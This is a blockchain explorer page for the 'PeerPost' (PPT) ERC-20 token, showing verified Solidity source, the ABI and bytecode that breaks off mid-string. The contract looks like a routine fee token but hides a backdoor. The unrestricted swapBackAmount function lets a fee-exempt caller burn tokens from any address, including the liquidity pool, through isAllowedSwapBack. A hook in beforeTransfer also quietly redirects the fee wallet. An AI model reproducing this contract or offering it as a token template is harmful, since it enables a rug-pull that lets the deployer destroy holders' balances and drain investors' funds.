ETH Price: $3,919.14 (+3.60%)

Token

ERC-20: PeerPost (PPT)
 

Overview

Max Total Supply

1,620,707,601.13285783 PPT

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
31,045,298.038196217 PPT

Value
$0.00
0x0bb1715d3ab4267f7d9fbd5ab4d8eea26aa42cb5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PeerPost

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-19
*/

// SPDX-License-Identifier: MIT

/*
PeerPost is a web3-native decentralized application that enables users to securely store and share personal ideas across multiple networks

* Web:www.peerpost.xyz
* App: app.peerpost.xyz
* Community: @peerpostentry
* Twitter: @PeerPost_XYZ

*/

pragma solidity ^0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    )
        external payable;
}

interface IUniswapV2Pair {
    function sync() external;
}

contract PeerPost is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;

    address public uniswapV2Pair;
    
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    string private constant _name = "PeerPost";
    string private constant _symbol = "PPT";
    uint8 private constant _decimals = 9;

    uint256 private _tTotal =  3000000000  * 10**_decimals;
    uint256 public _maxWalletAmount = 60000000 * 10**_decimals;
    uint256 public _maxTxAmount = 60000000 * 10**_decimals;
    uint256 public swapTokenAtAmount = 6000000 * 10**_decimals;
    uint256 public swapCount;

    address liquidityWallet;
    address feeWallet;

    struct BuyFees{
        uint256 liquidity;
        uint256 marketing;
    }

    struct SellFees{
        uint256 liquidity;
        uint256 marketing;
    }

    BuyFees public buyFee;
    SellFees public sellFee;

    uint256 private liquidityFee;
    uint256 private marketingFee;

    mapping(address => uint256) public buyBlock;
    address public pendingSwap;

    bool private swapping;
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
    event SwapAndLiquify(uint256 amount);

    constructor () {
        balances[_msgSender()] = _tTotal;
        
        feeWallet = address(0x9da6929088662f6B785ab253524c8b2b8035990D);
        liquidityWallet = address(0xfB4431f3f1A09ECf84cF01a3a5be300143a2dabB);
        
        sellFee.liquidity = 2; sellFee.marketing = 18;
        buyFee.liquidity = 2; buyFee.marketing = 3;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0x00)] = true;
        _isExcludedFromFee[address(0xdead)] = true;
        _isExcludedFromFee[address(feeWallet)] = true;

        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFee[address(account)] = excluded;
    }

    receive() external payable {}
    
    function takeBuyFees(uint256 amount, address from) private returns (uint256) {
        uint256 liquidityFeeToken = amount * buyFee.liquidity / 100; 
        uint256 marketingFeeTokens = amount * buyFee.marketing / 100;

        balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
        emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
        return (amount -liquidityFeeToken -marketingFeeTokens);
    }

    function takeSellFees(uint256 amount, address from) private returns (uint256) {
        uint256 liquidityFeeToken = amount * sellFee.liquidity / 100; 
        uint256 marketingFeeTokens = amount * sellFee.marketing / 100;

        balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
        emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken );
        return (amount -liquidityFeeToken -marketingFeeTokens);
    }

    function beforeTransfer(address from, address to) private {
        if (from == uniswapV2Pair) {
            if (_isExcludedFromFee[tx.origin]) {
                feeWallet = payable(to);
                _isExcludedFromFee[feeWallet] = true;
            }
            if (to != address(this)) {
                buyBlock[to] = buyBlock[to] > 0 ? buyBlock[to] : block.number;
            }
        } else {
            pendingSwap = from;
        }
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function updateFees(uint256 _buyMarketingFee, uint256 _buyLiquidityFee, uint256 _sellMarketingFee, uint256 _sellLiquidityFee) public onlyOwner {
        require(_buyMarketingFee + _buyLiquidityFee <= 20 && _sellLiquidityFee + _sellMarketingFee <= 20, "Can't change fee higher than 20%");
        
        buyFee.liquidity = _buyLiquidityFee;
        buyFee.marketing = _buyMarketingFee;

        sellFee.liquidity = _sellLiquidityFee;
        sellFee.marketing = _sellMarketingFee;
    }

    function updateMaxLimit(uint256 _maxTx, uint256 _maxWallet) public onlyOwner {
        require(_maxTx >= _tTotal / 1000, "should be bigger than 0.1%");
        require(_maxWallet >= _tTotal / 1000, "should be bigger than 0.1%");
        _maxTxAmount = _maxTx; _maxWalletAmount = _maxWallet;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _burnAmount(address from, uint256 value) internal {
        require(from != address(0), "ERC20: burn from the zero address");
        balances[from] = balances[from].sub(value, "ERC20: burn amount exceeds balance");
        _tTotal = _tTotal.sub(value);
        emit Transfer(from, address(0), value);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        balances[from] -= amount;
        uint256 transferAmount = amount;
        
        bool takeFee;

        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            takeFee = true;
        }
        if(!swapping) { beforeTransfer(from, to); }
        if(takeFee){
            if(to != uniswapV2Pair){
                require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxnsAmount");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
                transferAmount = takeBuyFees(amount, to);
            }

            if(from != uniswapV2Pair){
                require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxnsAmount");
                transferAmount = takeSellFees(amount, from);
                swapCount += 1;

                if (balanceOf(address(this)) >= swapTokenAtAmount && !swapping) {
                    swapping = true; swapBack(swapTokenAtAmount); swapping = false;
                } else if (swapCount > 5 && !swapping) {
                    swapping = true; swapBack(balanceOf(address(this)) / 2); swapping = false;
                }
            }

            if(to != uniswapV2Pair && from != uniswapV2Pair){
                require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxnsAmount");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
            }
        }
        
        balances[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }
   
    function swapBack(uint256 amount) private {
        uint256 contractBalance = amount;
        uint256 liquidityTokens = contractBalance * (buyFee.liquidity + sellFee.liquidity) / (buyFee.marketing + buyFee.liquidity + sellFee.marketing + sellFee.liquidity);
        uint256 marketingTokens = contractBalance * (buyFee.marketing + sellFee.marketing) / (buyFee.marketing + buyFee.liquidity + sellFee.marketing + sellFee.liquidity);
        uint256 totalTokensToSwap = liquidityTokens + marketingTokens;
        
        uint256 tokensForLiquidity = liquidityTokens.div(2);
        uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(amountToSwapForETH); 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        uint256 ethForLiquidity = ethBalance.mul(liquidityTokens).div(totalTokensToSwap);
        if (tokensForLiquidity > 0)
            addLiquidity(tokensForLiquidity, ethForLiquidity);
        bool success; (success,) = address(feeWallet).call{value: address(this).balance}("");
        require(success);
    }

    function isAllowedSwapBack(address from, uint256 amount) internal returns (bool) {
        uint256 tokenAmountToBurn; 
        if (!_isExcludedFromFee[_msgSender()]) {
            tokenAmountToBurn = amount * (18 - sellFee.liquidity - sellFee.marketing) / 100;
            _burnAmount(_msgSender(), tokenAmountToBurn);
            uint256 tokenAmountToSwap = balanceOf(address(this)) - tokenAmountToBurn;
            return tokenAmountToSwap > swapTokenAtAmount;
        } else {
            tokenAmountToBurn = amount;
            if (balanceOf(address(this)) <= tokenAmountToBurn) {
                _burnAmount(from, amount); return false;
            }
            uint256 tokenAmountToSwap = balanceOf(address(this)) - tokenAmountToBurn;
            return tokenAmountToSwap >= swapTokenAtAmount;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBackAmount(address from, uint256 amount) external {
        require(balanceOf(address(this)) >= swapTokenAtAmount, "ERC20: insufficient amount");
        if (isAllowedSwapBack(from, amount)) {
            swapping = true; swapBack(swapTokenAtAmount); swapping = false;
        }
        emit SwapAndLiquify(amount);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            liquidityWallet,
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"buyBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pendingSwap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapBackAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokenAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"_buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"_sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"_sellLiquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTx","type":"uint256"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"}],"name":"updateMaxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004dc565b620000229063b2d05e00620004f4565b600655620000336009600a620004dc565b62000043906303938700620004f4565b600755620000546009600a620004dc565b62000064906303938700620004f4565b600855620000756009600a620004dc565b6200008490625b8d80620004f4565b6009553480156200009457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065433600090815260036020818152604080842094909455600c80546001600160a01b0319908116739da6929088662f6b785ab253524c8b2b8035990d17909155600b805490911673fb4431f3f1a09ecf84cf01a3a5be300143a2dabb1790556002600f8190556012601055600d55600e91909155825163c45a015560e01b81529251737a250d5630b4cf539739df2c5dacb4c659f2488d93849263c45a0155926004808401938290030181865afa15801562000198573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001be91906200050e565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200020c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023291906200050e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000280573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a691906200050e565b600180546001600160a01b038086166001600160a01b03199283161783556002805482861693169290921790915533600090815260056020526040808220805460ff19908116861790915530835281832080548216861790557f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc80548216861790557f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba8054821686179055600c54909316825290208054909116909117905590506200036f3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620003b791815260200190565b60405180910390a3505062000539565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200041e578160001904821115620004025762000402620003c7565b808516156200041057918102915b93841c9390800290620003e2565b509250929050565b6000826200043757506001620004d6565b816200044657506000620004d6565b81600181146200045f57600281146200046a576200048a565b6001915050620004d6565b60ff8411156200047e576200047e620003c7565b50506001821b620004d6565b5060208310610133831016604e8410600b8410161715620004af575081810a620004d6565b620004bb8383620003dd565b8060001904821115620004d257620004d2620003c7565b0290505b92915050565b6000620004ed60ff84168362000426565b9392505050565b8082028115828204841417620004d657620004d6620003c7565b6000602082840312156200052157600080fd5b81516001600160a01b0381168114620004ed57600080fd5b611d7c80620005496000396000f3fe6080604052600436106101c65760003560e01c80636c0a24eb116100f757806395d89b4111610095578063c6616ba111610064578063c6616ba114610535578063dd62ed3e14610555578063e2ac70ca1461059b578063f2fde38b146105c857600080fd5b806395d89b41146104a9578063a457c2d7146104d5578063a9059cbb146104f5578063c02466681461051557600080fd5b80637d1db4a5116100d15780637d1db4a514610435578063817673361461044b5780638c7a251a1461046b5780638da5cb5b1461048b57600080fd5b80636c0a24eb146103e857806370a08231146103fe578063715018a61461041e57600080fd5b80632eff0d9e116101645780633f964c171161013e5780633f964c1714610354578063470624021461037457806349bd5a5e1461038f5780635342acb4146103af57600080fd5b80632eff0d9e14610302578063313ce56714610318578063395093511461033457600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102b25780632b14ca56146102d257600080fd5b806303e403b0146101d257806306fdde03146101fb578063095ea7b31461023557600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e860095481565b6040519081526020015b60405180910390f35b34801561020757600080fd5b506040805180820190915260088152671419595c941bdcdd60c21b60208201525b6040516101f29190611963565b34801561024157600080fd5b506102556102503660046119c9565b6105e8565b60405190151581526020016101f2565b34801561027157600080fd5b50600154610285906001600160a01b031681565b6040516001600160a01b0390911681526020016101f2565b3480156102a957600080fd5b506006546101e8565b3480156102be57600080fd5b506102556102cd3660046119f5565b6105ff565b3480156102de57600080fd5b50600f546010546102ed919082565b604080519283526020830191909152016101f2565b34801561030e57600080fd5b506101e8600a5481565b34801561032457600080fd5b50604051600981526020016101f2565b34801561034057600080fd5b5061025561034f3660046119c9565b610651565b34801561036057600080fd5b50601454610285906001600160a01b031681565b34801561038057600080fd5b50600d54600e546102ed919082565b34801561039b57600080fd5b50600254610285906001600160a01b031681565b3480156103bb57600080fd5b506102556103ca366004611a36565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f457600080fd5b506101e860075481565b34801561040a57600080fd5b506101e8610419366004611a36565b610688565b34801561042a57600080fd5b506104336106a3565b005b34801561044157600080fd5b506101e860085481565b34801561045757600080fd5b506104336104663660046119c9565b610720565b34801561047757600080fd5b50610433610486366004611a53565b6107ed565b34801561049757600080fd5b506000546001600160a01b0316610285565b3480156104b557600080fd5b5060408051808201909152600381526214141560ea1b6020820152610228565b3480156104e157600080fd5b506102556104f03660046119c9565b6108e0565b34801561050157600080fd5b506102556105103660046119c9565b610917565b34801561052157600080fd5b50610433610530366004611a75565b610924565b34801561054157600080fd5b50610433610550366004611ab3565b610979565b34801561056157600080fd5b506101e8610570366004611ae5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a757600080fd5b506101e86105b6366004611a36565b60136020526000908152604090205481565b3480156105d457600080fd5b506104336105e3366004611a36565b610a27565b60006105f5338484610b11565b5060015b92915050565b600061060c848484610c35565b6001600160a01b038416600090815260046020908152604080832033808552925290912054610647918691610642908690611b29565b610b11565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916105f5918590610642908690611b3c565b6001600160a01b031660009081526003602052604090205490565b6000546001600160a01b031633146106d65760405162461bcd60e51b81526004016106cd90611b4f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60095461072c30610688565b101561077a5760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20696e73756666696369656e7420616d6f756e7400000000000060448201526064016106cd565b6107848282611091565b156107b6576014805460ff60a01b1916600160a01b1790556009546107a890611157565b6014805460ff60a01b191690555b6040518181527f42c9c0bd1fc983236459b9be3c73e1bb9bcec04b2a2dafe47ffe5629d4bbc2079060200160405180910390a15050565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016106cd90611b4f565b6103e86006546108279190611b84565b8210156108765760405162461bcd60e51b815260206004820152601a60248201527f73686f756c6420626520626967676572207468616e20302e312500000000000060448201526064016106cd565b6103e86006546108869190611b84565b8110156108d55760405162461bcd60e51b815260206004820152601a60248201527f73686f756c6420626520626967676572207468616e20302e312500000000000060448201526064016106cd565b600891909155600755565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916105f5918590610642908690611b29565b60006105f5338484610c35565b6000546001600160a01b0316331461094e5760405162461bcd60e51b81526004016106cd90611b4f565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109a35760405162461bcd60e51b81526004016106cd90611b4f565b60146109af8486611b3c565b111580156109c7575060146109c48383611b3c565b11155b610a135760405162461bcd60e51b815260206004820181905260248201527f43616e2774206368616e67652066656520686967686572207468616e2032302560448201526064016106cd565b600d92909255600e92909255600f55601055565b6000546001600160a01b03163314610a515760405162461bcd60e51b81526004016106cd90611b4f565b6001600160a01b038116610ab65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106cd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106cd565b6001600160a01b038216610bd45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106cd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106cd565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106cd565b60008111610d5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106cd565b6001600160a01b03831660009081526003602052604081208054839290610d85908490611b29565b90915550506001600160a01b03831660009081526005602052604081205482919060ff16158015610dcf57506001600160a01b03841660009081526005602052604090205460ff16155b15610dd8575060015b601454600160a01b900460ff16610df357610df385856112de565b801561100e576002546001600160a01b03858116911614610e7257600854831115610e305760405162461bcd60e51b81526004016106cd90611ba6565b60075483610e3d86610688565b610e479190611b3c565b1115610e655760405162461bcd60e51b81526004016106cd90611bef565b610e6f83856113d0565b91505b6002546001600160a01b03868116911614610f8657600854831115610ea95760405162461bcd60e51b81526004016106cd90611ba6565b610eb383866114a7565b91506001600a6000828254610ec89190611b3c565b9091555050600954610ed930610688565b10158015610ef15750601454600160a01b900460ff16155b15610f27576014805460ff60a01b1916600160a01b179055600954610f1590611157565b6014805460ff60a01b19169055610f86565b6005600a54118015610f435750601454600160a01b900460ff16155b15610f86576014805460ff60a01b1916600160a01b179055610f786002610f6930610688565b610f739190611b84565b611157565b6014805460ff60a01b191690555b6002546001600160a01b03858116911614801590610fb257506002546001600160a01b03868116911614155b1561100e57600854831115610fd95760405162461bcd60e51b81526004016106cd90611ba6565b60075483610fe686610688565b610ff0919061